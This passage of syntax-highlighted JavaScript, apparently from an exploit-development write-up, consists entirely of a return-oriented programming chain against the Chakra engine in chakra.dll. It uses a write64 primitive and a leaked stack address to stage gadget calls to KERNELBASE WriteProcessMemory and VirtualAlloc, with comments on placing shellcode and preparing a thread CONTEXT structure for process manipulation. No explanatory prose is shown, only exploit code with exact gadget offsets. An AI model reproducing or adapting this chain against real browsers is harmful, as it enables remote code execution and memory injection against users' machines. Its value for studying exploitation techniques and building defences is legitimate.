<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 3)</span>
<span class="c1">// Stage 6 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetTwo</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtualAlloc() ROP chain</span>
<span class="c1">// Stage 7 -&gt; Allocate some local memory to store the CONTEXT structure from GetThreadContext</span>

<span class="c1">// DWORD flProtect (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// PAGE_READWRITE (0x4)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (let VirtualAlloc() decide the address)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x000004d0</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// (0x4d0 bytes)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT (0x3000)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!VirtualAlloc</span>
